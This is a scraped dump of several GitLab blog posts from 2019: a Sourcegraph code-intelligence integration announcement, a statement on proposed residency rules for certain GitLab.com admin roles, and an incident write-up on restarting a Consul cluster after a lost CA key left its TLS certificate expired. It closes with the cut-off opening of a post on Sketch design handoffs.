Easy","en-us/blog/cloud-native-architectures-made-easy.yml","en-us/blog/cloud-native-architectures-made-easy",{"_path":26431,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26432,"content":26438,"config":26443,"_id":26445,"_type":16,"title":26446,"_source":17,"_file":26447,"_stem":26448,"_extension":20},"/en-us/blog/sourcegraph-code-intelligence-integration-for-gitlab",{"title":26433,"description":26434,"ogTitle":26433,"ogDescription":26434,"noIndex":6,"ogImage":26435,"ogUrl":26436,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26436,"schema":26437},"Native code intelligence is coming to GitLab","We're enhancing code review with Sourcegraph – no extra plugins required.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673090/Blog/Hero%20Images/random_code.jpg","https://about.gitlab.com/blog/sourcegraph-code-intelligence-integration-for-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Native code intelligence is coming to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mayank Tahilramani\"}],\n        \"datePublished\": \"2019-11-12\",\n      }",{"title":26433,"description":26434,"authors":26439,"heroImage":26435,"date":26440,"body":26441,"category":813,"tags":26442},[26326],"2019-11-12","\nAlmost a year ago, our CEO [Sid Sijbrandij](/company/team/#sytses) opened an issue proposing [GitLab integrate with Sourcegraph to provide advanced code navigation and cross-referencing functionality for source code we host](https://gitlab.com/gitlab-org/gitlab/issues/20642). We knew this feature would be a big improvement to the Developer UX in our product, particularly for efficient code review. We also knew [Sourcegraph](https://about.sourcegraph.com/) has an open-core product with one of the best-in-class code navigation capabilities. It only made sense to have a tighter integration between the two products.\n\n## How we built this\n\nSo, our generous friends at Sourcegraph got to work. A [browser extension supporting GitLab](https://docs.sourcegraph.com/integration/gitlab) was already available, but Sourcegraph collaborated with our engineering and product management teams and added the integration directly to the GitLab codebase – powered by GitLab.com and Sourcegraph.com. The integration gives users a fully browser-based developer platform, with no extra plugins required.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/LjVxkt4_sEA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\nGitLab CEO and co-founder Sid Sijbrandij and Sourcegraph CEO and co-founder Quinn Slack explain the new integration.\n{: .note.text-center}\n\nFor now, get a sneak preview of how our integration with Sourcegraph works by watching a [quick screencast tutorial](https://vimeo.com/372226334/de668e24fa).\n\nThe process of building the integration between Sourcegraph and GitLab is a great example of our [transparency](https://handbook.gitlab.com/handbook/values/#transparency) and [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) values at work.\n\n## Collaboration in the open\n\n[Sourcegraph’s contribution to GitLab](https://gitlab.com/gitlab-org/gitlab/merge_requests/16556) is significant for developer productivity. For example, their merge request (MR) adds native support for features like ‘go-to-definition’ and ‘find references’ within a hover tooltip. Users can engage the tooltip UI in code views, file views, merge requests, and code diffs. Developers can stay in context during code reviews when they need to investigate a function implementation by simply hovering over the name of the function to navigate efficiently. Within the tooltip, users can see the definition of the function, navigate to the definition, or show other references in the code where the function is being used. In addition to making code reviews higher quality and more efficient, developers will have an easier time investigating complex implementations when reading the source of their favorite library. With Sourcegraph, we’re enabling developers with a richer UX by gathering more information about the code they are reading.\n\nSee for yourself by reading the discussions on the [MR](https://gitlab.com/gitlab-org/gitlab/merge_requests/16556) and viewing changes made to the code. As always, we’re collaborating in the open and encourage the community to provide constructive feedback on our project. Drop a line in the blog comments to share your thoughts.\n\nFor a more detailed overview of the UX of functionality and features, check out [this blog post](https://about.sourcegraph.com/blog/gitlab-integrates-sourcegraph-code-navigation-and-code-intelligence) by Christina Forney, product manager at Sourcegraph.\n\n## What does this mean for our users?\n\nGitlab’s integration with Sourcegraph will be available in our [12.5 release](/upcoming-releases/) on November 22, 2019. We aim to provide code intelligence and code navigation functionality in this integration which was historically provided by the Sourcegraph’s browser extension. Now that we built this integration the browser extension is no longer needed to provide this functionality.\n\nIn the spirit of [iteration](https://handbook.gitlab.com/handbook/values/#iteration) our rollout strategy on GitLab.com is to **first dogfood** the functionality within our [*gitlab-org*](https://gitlab.com/gitlab-com/) group, which is where GitLab stores [source code for GitLab.com](/solutions/source-code-management/) and GitLab Enterprise. Over time, we aim to roll out Sourcegraph capabilities across code views within projects to all *public projects* on GitLab.com. Users will still require the browser extension configured to a private instance of Sourcegraph for **private projects** on GitLab.com.\n\nIf you’re self-managing your GitLab EE deployment and would like to enable Sourcegraph code intelligence, you must have a private Sourcegraph instance running as an external service. This is required because Sourcegraph.com does not index any private code for privacy and security reasons. We will have formal documentation on how to get started with GitLab EE and Sourcegraph soon, but if you’re super curious, [you can see our work in progress here](https://gitlab.com/gitlab-org/gitlab/blob/ps-sourcegraph-playground/doc/integration/sourcegraph.md) within the MR branch.\n\n## What’s next?\n\nStay tuned for our 12.5 release announcement on November 22 and updates containing details around our integration with Sourcegraph. Give us a [thumbs up](https://gitlab.com/gitlab-org/gitlab/merge_requests/16556) if you like what we’re working on. If you’re new to Sourcegraph and/or GitLab, [sign up here](https://gitlab.com/users/sign_up) and install [the browser extension](https://docs.sourcegraph.com/integration/gitlab#browser-extension) to test out these features right away. [Here is a link to a file in one of our public projects where you can test out these features](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/executors/ssh/executor_ssh.go).\n\n[Cover photo](https://unsplash.com/photos/qjnAnF0jIGk) by [Markus Spiske](https://unsplash.com/@markusspiske) on Unsplash.\n{: .note}\n",[110,3949,232],{"slug":26444,"featured":6,"template":678},"sourcegraph-code-intelligence-integration-for-gitlab","content:en-us:blog:sourcegraph-code-intelligence-integration-for-gitlab.yml","Sourcegraph Code Intelligence Integration For Gitlab","en-us/blog/sourcegraph-code-intelligence-integration-for-gitlab.yml","en-us/blog/sourcegraph-code-intelligence-integration-for-gitlab",{"_path":26450,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26451,"content":26456,"config":26460,"_id":26462,"_type":16,"title":26463,"_source":17,"_file":26464,"_stem":26465,"_extension":20},"/en-us/blog/update-on-hiring",{"title":26452,"description":26453,"ogTitle":26452,"ogDescription":26453,"noIndex":6,"ogImage":12013,"ogUrl":26454,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26454,"schema":26455},"Update on hiring discussions for specific GitLab.com roles","Clarifying GitLab's position on a proposal concerning specific new roles located in China and Russia.","https://about.gitlab.com/blog/update-on-hiring","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Update on hiring discussions for specific GitLab.com roles\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2019-11-12\",\n      }",{"title":26452,"description":26453,"authors":26457,"heroImage":12013,"date":26440,"body":26458,"category":299,"tags":26459},[711],"\n\nRecently, GitLab was publicly discussing an internal decision about hiring locations for some specific roles with responsibility for technical support for GitLab.com (GitLab’s SaaS service).\n\nThis discussion was sparked by GitLab’s growing SaaS customer-base because many customers have requested more limited administrator access to servers hosting customer-specific data. There was no specific security incident that caused this discussion, and no customer data has been compromised. Following GitLab's value of transparency, the team was working through the issue in a public forum. We realize this process may have confused or even offended some people.\n\n## Hiring as an all-remote company\n\nGitLab is an all-remote company. We hire team members internationally, and we must create policies that align with security and legal regulations. This puts us in a unique position. Most companies simply open a job in an existing office location (for example, in San Francisco, London, Beijing, or any other city) and, by default, you will hire a resident of those cities for those roles. They would never have to write a policy that defines residency requirements for specific roles.\n\nWe wrote this proposal to clarify that instead of a few cities, we could hire for these few specific roles anywhere in the world except for China and Russia. In addition, we would continue to hire for all other GitLab roles in China and Russia, too. We continue our commitment to our team members and customers located in China and Russia, and we will continue to hire internationally for roles at GitLab.\n\nGitLab has hundreds of roles, and this internal decision would only affect a few specific job roles for future hires that require administrator access to servers hosting sensitive customer-specific GitLab.com data to do their jobs.\n\nThis policy proposal has not been implemented yet, as discussions are continuing internally.\n\n## Why was this discussion public?\n\nGitLab values [transparency](https://handbook.gitlab.com/handbook/values/#transparency), and we run our business operations according to this value. We believe this transparency builds trust with our customers and team, encourages contribution and collaboration, and improves our efficiency and velocity. This means that we often discuss and iterate on processes and company policies in the open. As we experienced with our hiring policy discussion, transparency is often hard. Sometimes transparency exposes differences of opinions inside GitLab itself, not to mention outside of GitLab. As a position is formed, the process exposes differing opinions within GitLab itself as well as those within the community. When people then add to the argument with helpful (and sometimes hurtful) comments, it can seem chaotic. We don’t have it all figured out yet, but we think the upside of transparency is worth the struggle to enable and continue the highest level of transparency in our business.\n\nThese discussions are internal business discussions. At other companies, these discussions would likely happen behind closed doors among key stakeholders. It is highly unlikely that they would be posted on a public forum for all to read. But at GitLab, we try to conduct business operations in the open to the extent that we are able.\n\n## What prompted this discussion about hiring?\n\nThis particular discussion arose because the majority of GitLab.com’s SaaS customers come from the United States, where GitLab.com’s data resides, and, as our customer base is growing rapidly, we have seen more requests from customers to meet their individual security policies and requirements for tighter controls over who can access their sensitive data. Remember - customers are putting their [source code](/solutions/source-code-management/) (their intellectual property) into GitLab.com, and they require it to be safe. GitLab and its customers are continuing to mitigate cyber-security threats, and this was just one discussion among many discussions on how GitLab can put additional safeguards in place to meet customer security requirements.\n\n## Was GitLab *really* considering not hiring any Chinese or Russian nationals?\n\nNo. GitLab currently has employees in China and Russia and continues to hire in China, Russia and across 60+ countries and regions worldwide for the vast majority of roles. This discussion was always only about opening specific new roles at GitLab in China and Russia, in which administrator access to servers hosting customer-specific GitLab.com data (SaaS) is required.\n\nGitLab does not discriminate against any nationality/citizenship in its hiring processes. This proposed policy was about residency requirements for these specific roles, because of the nature of the job responsibilities for these roles, and not nationality.\n\nToday, there are no current GitLab employees in those specific roles that reside in China or Russia, so no current employees would be affected. This was only a discussion about whether to open new specific roles in these regions.\n\nAlso, GitLab continues to do business in China and Russia and currently has active customers in both China and Russia. GitLab’s business is limited by local laws as well as US laws and restrictions, as GitLab is a US-based company and must comply with US laws.\n\n## Why does residency matter to GitLab.com customers?\n\nResidency matters for security reasons. Many customers who host sensitive company data in SaaS services (such as source code, and other sensitive intellectual property) prefer or require to have their data – and access to that data – reside in specific regions for legal and security purposes.\n\nThe majority of GitLab.com’s SaaS customers come from the United States, where GitLab.com’s data resides, and we have seen more requests from customers to have tighter controls over who can access that data.\n\nIn the future GitLab Inc. (or companies in which GitLab Inc. has an ownership stake) might run GitLab.com-type SaaS services for other parts of the world. For example, you might imagine separate GitLab SaaS instances with data residency in Europe, China or Russia which would have similar residency requirements to address the data access needs of customers in those regions.\n\n##  Would this policy affect GitLab self-managed (on-premises) products or support?\n\nNo. This policy, if implemented, would only affect GitLab.com, GitLab’s SaaS service. This policy would *NOT* impact GitLab self-managed (on-premises) products or support.  Self-managed products include any of the GitLab products that customers run on their own infrastructure and manage themselves.\n\n## How would a policy like this affect GitLab’s open source code or contributions to GitLab’s code?\n\nAnyone of any nationality and residing in any region of the world can use GitLab’s open source products and open source code. We also welcome contributions from anyone of any nationality and residing in any region of the world.\n\n## Commitment to our values\n\nGitLab strives to be inclusive in its hiring process. Along with transparency, [diversity](https://handbook.gitlab.com/handbook/values/#diversity-inclusion) is one of our core values. We have valued team members that are based in China and Russia, and we will continue to hire in China and Russia. We also have hundreds of customers in China and Russia and will continue to do business with customers located in those countries. Once a decision has been made about this policy, we will update our public company [handbook](https://about.gitlab.com/handbook/) accordingly.\n",[736],{"slug":26461,"featured":6,"template":678},"update-on-hiring","content:en-us:blog:update-on-hiring.yml","Update On Hiring","en-us/blog/update-on-hiring.yml","en-us/blog/update-on-hiring",{"_path":26467,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26468,"content":26474,"config":26480,"_id":26482,"_type":16,"title":26483,"_source":17,"_file":26484,"_stem":26485,"_extension":20},"/en-us/blog/the-consul-outage-that-never-happened",{"title":26469,"description":26470,"ogTitle":26469,"ogDescription":26470,"noIndex":6,"ogImage":26471,"ogUrl":26472,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26472,"schema":26473},"The Consul outage that never happened","Sometimes a good plan is the best tool for the job.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679092/Blog/Hero%20Images/consul-outage-image.jpg","https://about.gitlab.com/blog/the-consul-outage-that-never-happened","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The Consul outage that never happened\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Devin Sylva\"}],\n        \"datePublished\": \"2019-11-08\",\n      }",{"title":26469,"description":26470,"authors":26475,"heroImage":26471,"date":26477,"body":26478,"category":734,"tags":26479},[26476],"Devin Sylva","2019-11-08","\nWhen things go wrong on a large website, it can be fun to read the dramatic stories of high pressure incidents where nothing goes as planned. It makes for good reading. Every once in a while though, we get a success story. Every once in a while, things go exactly as planned.\n\n[GitLab.com](http://GitLab.com) is a large, high availability instance of GitLab. It is maintained by the [Infrastructure group](/company/team/?department=infrastructure-department), which currently consists of 20 to 24 engineers (depending on how you count), four managers, and a director, distributed all around the world. Distributed, in this case, does not mean across a few different offices. There are three or four major cities which have more than one engineer but with the exception of coworking days nobody is working from the same building.\n\nIn order to handle the load generated by about four million users working on around 12 million projects, GitLab.com breaks out the individual components of the GitLab product and currently spreads them out over 271 production servers.\n\nThe site is slowly migrating to using Hashicorp's [Consul](https://www.consul.io) for service location. Consul can be thought of like DNS, in that it associates a well-known name with the actual physical location of that service. It also provides other useful functions such as storing dynamic configuration for services, as well as locking for clusters. All of the Consul client and server components talk to each other over encrypted connections. These connections require a certificate at each end to validate the identity of the client and server and to provide the encryption key. The main component of GitLab.com which currently relies on this service is the database and its high availability system [Patroni](https://patroni.readthedocs.io/en/latest/). Like any website that provides functionality and not just information, the database is the central service that everything else depends on. Without the database, the website, API, CI pipelines, and git services will all deny requests and return errors.\n\n## Troubleshooting\n\nThe [issue](https://gitlab.com/gitlab-com/gl-infra/production/issues/1037) came to our attention when a database engineer noticed that one of our database servers in the staging environment could not reconnect to the staging Consul server after the database node was restarted.\n\nIt turns out that the TLS certificate was expired. This is normally a simple fix. Someone would go to the Certificate Authority (CA) and request a renewal – or if that fails, generate a new certificate to be signed by the same CA. That certificate would replace the expired copy and the service would be restarted. All of the connections should reestablish using the new certificate and just like with any other rolling configuration change, it should be transparent to all users.\n\nAfter looking everywhere, and asking everyone on the team, we got the definitive answer that the CA key we created a year ago for this self-signed certificate had been lost.\n\nThese test certificates were generated for the original proof-of-concept installation for this service and were never intended to be transitioned into production. However, since everything was working perfectly, the expired test certificate had not been calling attention to itself. A few things should have been done, including: Rebuilding the service with production in mind; conducting a production readiness review; and monitoring. But a year ago, our production team was in a very different place. We were small with just four engineers, and three new team members: A manager, director, and engineer, all of whom were still onboarding. We were less focused on the gaps that led to this oversight a year ago and more focused on fixing the urgent problem today.\n\n### Validating the problem\n\nFirst, we needed to validate the problem using the information we'd gathered. Since we couldn't update the existing certificates, we turned validation off on the client that couldn't connect. Turning validation off didn't change anything since the encrypted connections validate both the cluster side and client side. Next, we changed the setting on one server node in the cluster and so the restarted client could then connect to the server node. The problem now was that the server could no longer connect to any other cluster node and could not rejoin the cluster. The server we changed was not validating connections, meaning it was ignoring the expired certificate of its peers in the cluster but the peers were not returning the favor. They were shunning it, putting the whole cluster in a degraded state.\n\nWe realized that no matter what we did, some servers and some clients would not be able to connect to each other until after the change had been made everywhere and after every service was restarted. Unfortunately, we were talking about 255 of our 271 servers. Our tool set is designed for gradual rollouts, not simultaneous actions.\n\nWe were unsure why the site was even still online because if the clients and services could not connect it was unclear why anything was still working. We ran a small test, confirming the site was only working because the connections were already established when the certificates expired. Any interruption of these long-running connections would cause them to revalidate the new connections, resulting in them rejecting all new connections across the fleet.\n\n> Effectively, we were in the middle of an outage that had already started, but hadn't yet gotten to the point of taking down the site.\n\n### Testing in staging\n\nWe declared an incident and began testing every angle we could think of in the staging environment, including:\n\n* Reloading the configuration of the running service, which worked fine and did not drop connections, but the [certificate settings](https://github.com/hashicorp/consul/pull/4204) are [not included in the reloadable settings](https://www.consul.io/docs/agent/options.html#reloadable-configuration) for our version of Consul.\n* Simultaneous restarts of various services, which worked, but our tools wouldn't allow us to do that with ALL of the nodes at once.\n\nEverything we tried indicated that we had to break those existing connections in order to activate any change, and that we could only avoid downtime if that happened on **ALL nodes at precisely the same time**.\n\nEvery problem uncovered other problems and as we were troubleshooting one of our production Consul servers became unresponsive, disconnected all SSH sessions, and would not allow anyone to reconnect. The server did not log any errors. It was still sending monitoring data and was still participating in the Consul cluster. If we restarted the server, then it would not have been able to reconnect to its peers and we would have an even number of nodes. Not having quorum in the cluster would have been dangerous when we went to restart all of the nodes, so we left it in that state for the moment.\n\n## Planning\n\nOnce the troubleshooting was finished [it was time to start planning](https://gitlab.com/gitlab-com/gl-infra/production/issues/1042).\n\nThere were a few ways to solve the problem. We could:\n\n* Replace the CA and the certificates with new self-signed ones.\n* Change the CA setting to point to the system store, allowing us to use certificates signed by our standard certificate provider and then replace the certificates.\n* Disable the validation of the dates so that the expired certificate would not cause connections to fail.\n\nAll of these options would incur the same risks and involve the same risky restart of all services at once.\n\nWe picked the last option. Our reasoning was that disabling the validation would eliminate the immediate risk and give us time to slowly roll out a properly robust solution in the near future, without having to worry about disrupting the whole system. It was also the [smallest and most incremental change](https://handbook.gitlab.com/handbook/values/#iteration).\n\n### Working asynchronously to tackle the problem\n\nWhile there was some time pressure due to the [risk of network connections being interrupted](https://gitlab.com/gitlab-com/gl-infra/production/issues/1037#note_201745119), we had to consider the reality of working across timezones as we planned our solution.\n\n> We decided not to hand it off to the European shift, who were coming online soon. Being a [globally distributed](/company/culture/all-remote/) team, we had already handed things off from the end of the day in Mongolia, through Eastern and Western Europe and across the Americas, and were approaching the end of the day in Hawaii and New Zealand.\n\nAustralia still had a few more hours and Mongolia had started the day again, but the folks who had been troubleshooting it throughout the day had a pretty good handle on what needed to happen and what could go wrong. It made sense for them to be the ones to do the work. We decided to make a \"Break Glass\" plan instead. This was a merge request with all of the changes and information necessary for the European shift to get us back into a good state in case a full outage happened before anyone who had been working on it woke up. Everyone slept better knowing that we had a plan that would work even if it could not be executed without causing down time. If we were already experiencing down time, there would be no problem.\n\n### Designing our approach\n\nIn the morning (HST) everything was how we left it so we started planning how to change the settings and restart all of the services without downtime. Our normal management tools were out because of the time it takes to roll out changes. Even sequential tools such as `knife ssh`, `mussh`, or `ansible` wouldn't work because the change had to be **precisely simultaneous**. Someone joked about setting it up in `cron` which led us to the standard linux `at` command (a relative of the more widely used `batch`). `cron` would require cleanup afterward but an `at` command can be pushed out ahead of time with a sequential tool and will run a command at a precise time on all machines. Back in the days of hands-on, bare metal system administration, it was a useful trick for running one-time maintenance in the middle of the night or making it look like you were working when you weren't. Now `at` has become more obscure with the trend toward managing fleets of servers rather than big monolithic central machines. We chose to run the command `sudo systemctl restart consul.service`. We tested this in staging to verify that our Ubuntu distribution made environment variables like `$PATH` available, and that `sudo` did not ask for a password. On some distributions (older CentOS especially) this is not always the case.\n\nWith those successful tests, we still needed to change the config files. Luckily, there is nothing that prevents changing these ahead of time since the changes aren't picked up until the service restarts. We didn't want to do this step at the same time as the service restart so we could validate the changes and keep the `at` command as small as possible. We decided not to use Chef to push out the change because we needed complete and immediate transparency. Any nodes that did not get the change would fail after the restart. `mussh` was the tool that offered the most control and visibility while still being able to change all hosts with one command.\n\nWe also had to disable the Chef client so that it didn't overwrite the changes between when they were written and when the service restarted.\n\nBefore running anything we also needed to address the one Consul server that we couldn't access. It likely just needed to be rebooted and would come up and be unable to reconnect to the cluster. The best option was to do this manually just before starting the rest of the procedure.\n\nOnce we had mapped out the plan we practiced it in the disaster recovery environment. We used the disaster recovery environment instead of the staging environment because all of the nodes in the staging environment had already been restarted, so there were no long-running connections to test. Making the disaster recovery environment was the next best option. It did not go perfectly since the database in this environment was already in an unhealthy state but it gave us valuable information to adjust the plan.\n\n## Pre-execution\n\n### A moment of panic\n\nIt was almost time to fix the inaccessible Consul node. The team connected in to one of the other nodes to monitor and watch logs. Suddenly, the second node started disconnecting people. It was behaving exactly like the inaccessible node had the previous day. 😱 Suspiciously, it didn't disconnect everyone. Those who were still logged in noticed that `sshguard` was blocking access to some of the bastion servers that all of our ssh traffic flows through when accessing the internal nodes: [Infrastructure#7484](https://gitlab.com/gitlab-com/gl-infra/infrastructure/issues/7484). We have three bastion servers, and two were blocked because so many of us connected so many sessions so quickly. Disabling `sshguard` allowed everyone back in and that information was the hint we needed to manually find the one bastion which hadn't yet been blocked. It got us back into the original problem server. Disabling `sshguard` there left us with a fully functional node and with the ability to accept the `at` command to restart the Consul service at exactly the same time as the others.\n\nWe verified that we had an accurate and instantaneous way to monitor the state of the services. Watching the output of the `consul operator raft list-peers` command every second gave us view that looked like this:\n\n```\nNode                Address          State     Voter  RaftProtocol\nconsul-01-inf-gprd  10.218.1.4:8300  follower  true   3\nconsul-03-inf-gprd  10.218.1.2:8300  leader    true   3\nconsul-05-inf-gprd  10.218.1.6:8300  follower  true   3\nconsul-04-inf-gprd  10.218.1.5:8300  follower  true   3\nconsul-02-inf-gprd  10.218.1.3:8300  follower  true   3\n```\n\n### More nodes, more problems\n\nEven the most thorough plans always miss something. At this point we realized that one of the three `pgbouncer` nodes which direct traffic to the correct database instance was not showing as healthy in the load balancer. One is normally in this state as a warm spare, but one of the side effects of disconnecting the `pgbouncer` nodes from Consul is that they would all fail their load balancer health checks. If all health checks are failing, GCP load balancers send requests to ALL nodes as a safety feature. This would lead to too many connections to our database servers, causing unintended consequences. We worked around this by removing the unhealthy node from the load balancer pool for the remainder of this activity.\n\n* We checked that the lag on the database replicas was zero, and that they weren't trying to replicate any large and time-consuming transactions.\n* We generated a text list of all of the nodes that run the Consul client or server.\n* We verified the time zone (UTC) and time synchronization on all of those servers to ensure that when the `at` command executed the restart, an unsynchronized clock wouldn't cause unintended behavior.\n* We also verified the `at` scheduler was running on all of those nodes, and that `sudo` would not ask for a password.\n* We verified the script that would edit the config files, and tested it against the staging environment.\n* We also made sure `sshguard` was disabled and wasn't going to lock out the scripted process for behaving like a scripted process.\n\nThis might seem like a lot of steps but without any of these prerequisites the whole process would fail. Once all of that was done, everything was ready to go.\n\n## Execution\n\nIn the end, we scheduled a maintenance window and distilled all of the research and troubleshooting down to the [steps in this issue](https://gitlab.com/gitlab-com/gl-infra/production/issues/1042).\n\nEverything was staged and it was time to make the changes. This course of action included four key steps. First, we paused the Patroni database high availability subsystem. Pausing would freeze database failover and keep the high availability configuration static until we were done. It would have been bad if we had a database failure during this time so minimizing the amount of time in this state was important.\n\nNext, we ran a script on every machine that stopped the Chef client service and then changed the verify lines in the config files from true to false. It wouldn't help to have Chef trying to reconfigure anything as we made changes. We did this using `mussh` in batches of 20 servers at a time. Any more in parallel and our SSH agent and Yubikeys may not have been able to keep up. We were not expecting change in the state of anything from this step. The config files on disk should have the new values but the running services wouldn't change, and more importantly, no TCP connections would disconnect. That was what we got so it was time for some verification.\n\nOur third step was to check all of the servers and a random sampling of client nodes to make sure config files had been modified appropriately. It was also a good time to double-check that the Chef client was disabled. This check turned out to be a good thing to do, because there were a few nodes that still had the Chef client active. It turned out that those nodes were in the middle of a run when we disabled the service, and it reenabled the service for us when the run completed. Chef can be _so_ helpful. We disabled it manually on the few machines that were affected. This delayed our maintenance window by a few minutes, so we were very glad we didn't schedule the `at` commands first.\n\nFinally, we needed to remove the inactive `pgbouncer` node from the load balancer, so when the load balancer went into its safety mode, it would only send traffic to the two that were in a known state. You might think that removing it from the load balancer would be enough, but since it also participates in a cluster via Consul the whole service needed to be shut down along with the health check, which the load balancer uses to determine whether to send it traffic. We made a note of the full command line from the process table, shut it down, and removed it from the pool.\n\n### The anxiety builds\n\nNow was the moment of truth. It was 02:10 UTC. We pushed the following command to every server (20 at a time, using `mussh`): `echo 'sudo systemctl restart consul.service' | at 02:20` – it took about four minutes to complete. Then we waited. We monitored the Consul servers by running `watch -n 1 consul operator raft list-peers` on each of them in a separate terminal. We bit our nails. We watched the dashboards for signs of db connection errors from the frontend nodes. We all held our breath, and watched the database for signs of distress. Six minutes is a long time to think: \"It's 4am in Europe, so they won't notice\" and \"It's dinner time on the US west coast, maybe they won't notice\". Trust me, six minutes is a _really_ long time: \"Sorry APAC users for your day, which we are about to ruin by missing something\".\n\nWe counted down the last few seconds and watched. In the first second, the Consul servers all shut down, severing the connections that were keeping everything working. All 255 of the clients restarted at the same time. In the next second, we watched the servers return `Unexpected response code: 500`, which means \"connection refused\" in this case. The third second... still returning \"panic now\" or maybe it was \"connection refused\"... The fourth second all nodes returned `no leader found`, which meant that the connection was not being refused but the cluster was not healthy. The fifth second, no change. I'm thinking, just breathe, they were probably all discovering each other. In the sixth second, still no change: Maybe they're electing a leader? Second seven was the appropriate time for worry and panic. Then, the eighth second brought good news `node 04 is the leader`. All other nodes healthy and communicating properly. In the ninth second, we let out a collective (and globally distributed) exhale.\n\n### A quick assessment\n\nNow it was time to check what damage that painfully long eight seconds had done. We went through our checklist:\n\n* The database was still processing requests, no change.\n* The web and API nodes hadn't thrown any errors. They must have restarted fast enough that the cached database addresses were still being used.\n* The most important metric – the graph of 500 errors seen by customers: There was no change.\n\nWe expected to see a small spike in errors, or at least some identifiable change, but there was nothing but the noise floor. This was excellent news! 🎉\n\nThen we checked whether the database was communicating with the Consul servers. It was not. Everyone quickly turned their attention to the backend database servers. If they had been running normally and the high availability tool hadn't been paused, an unplanned failover would be the minimum outage we could have hoped for. It's likely that they would have gotten into a very bad state. We started to troubleshoot why it wasn't communicating with the Consul server, but about one minute into the change, the connection came up and everything synced. Apparently it just needed a little more time than the others. We verified everything, and when everyone was satisfied we turned the high availability back on.\n\n## Cleanup\n\nNow that everything in the critical path was working as expected, we released the tension from our shoulders. We re-enabled Chef and merged the MR pinning the Chef recipes to the newer version, and the MR's CI job pushed the newer version to our Chef server. After picking a few low-impact servers, we manually kicked off Chef runs after checking the `md5sum` of the Consul client config files. After Chef finished, there was no change to the file, and the Chef client service was running normally again. We followed the same process on the Consul servers with the same result, and manually implemented it on the database servers, just for good measure. Once those all looked good, we used `mussh` to kick off a Chef run on all of the servers using the same technique we used to turn them off.\n\nNow all that was left was to straighten everything out with `pgbouncer` and the database load balancer and then we could fully relax. Looking at the heath checks, we noticed that the two previously healthy nodes were not returning healthy. The health checks are used to tell the load balancer which `pgbouncer` nodes have a Consul lock and therefore which nodes to send the traffic. A little digging showed that after retrying to connect to the Consul service a few times, they gave up. This was not ideal, so we [opened an Infrastructure issue](https://gitlab.com/gitlab-com/gl-infra/infrastructure/issues/7612) to fix it later and restarted the health checks manually. Everything showed normal so we added the inactive node back to the load balancer. The inactive node's health check told the load balancer not to select it, and since the load balancer was no longer in failsafe mode (due to the other node's health checks succeeding) the load balancer refrained from sending it traffic.\n\n## Conclusion\n\nSimultaneously restarting all of the Consul components with the new configuration put everything back into its original state, other than the validation setting which we set to false, and the TCP sessions which we restarted. After this change, the Consul clients will still be using TLS encryption but will ignore the fact that our cert is now expired. This is still not an ideal state but it gives us time to get there in a thoughtful way rather than as a rushed workaround.\n\nEvery once in a while we get into a situation that all of the fancy management tools just can't fix. There is no run book for situations such as the one we encountered. The question we were asked most frequently once people got up to speed was: \"Isn't there some instructional walkthrough published somewhere for this type of thing?\". For replacing a certificate from the same authority, yes definitely. For replacing a certificate on machines that can have downtime, there are plenty. But for keeping traffic flowing when hundreds of nodes need to change a setting and reconnect within a few seconds of each other... that's just not something that comes up very often. Even if someone wrote up the procedure it wouldn't work in our environment with all of the peripheral moving parts that required our attention.\n\nIn these types of situations there is no shortcut around thinking things through methodically. In this case, there were no tools or technologies that could solve the problem. Even in this new world of infrastructure as code, site reliability engineering, and cloud automation, there is still room for old fashioned system administrator tricks. There is just no substitute for understanding how everything works. We can try to abstract it away to make our day-to-day responsibilities easier, but when it comes down to it there will always be times when the best tool for the job is a solid plan.\n\nCover image by [Thomas Jensen](https://unsplash.com/@thomasjsn?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n{: .note}\n",[6962],{"slug":26481,"featured":6,"template":678},"the-consul-outage-that-never-happened","content:en-us:blog:the-consul-outage-that-never-happened.yml","The Consul Outage That Never Happened","en-us/blog/the-consul-outage-that-never-happened.yml","en-us/blog/the-consul-outage-that-never-happened",{"_path":26487,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26488,"content":26494,"config":26498,"_id":26500,"_type":16,"title":26501,"_source":17,"_file":26502,"_stem":26503,"_extension":20},"/en-us/blog/how-gitlab-pages-made-our-sketch-design-handoffs-easier-and-faster",{"title":26489,"description":26490,"ogTitle":26489,"ogDescription":26490,"noIndex":6,"ogImage":26491,"ogUrl":26492,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26492,"schema":26493},"How GitLab Pages made our Sketch design handoffs easier and faster","From designer to developer hands, here is our workflow for sharing Sketch design specs using GitLab Pages.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684206/Blog/Hero%20Images/cover.jpg","https://about.gitlab.com/blog/how-gitlab-pages-made-our-sketch-design-handoffs-easier-and-faster","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab Pages made our Sketch design handoffs easier and faster\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pedro Moreira da Silva\"}],\n        \"datePublished\": \"2019-11-07\",\n      }",{"title":26489,"description":26490,"authors":26495,"heroImage":26491,"date":26496,"body":26497,"category":734},[20154],"2019-11-07","\n\nOne of the designer’s responsibilities is handing off the design to developers\nso that it gets implemented as intended. We have _design specs_ to make this process smoother, but these have their own set of challenges. How can we speed\nup and ensure an effortless transition from designer 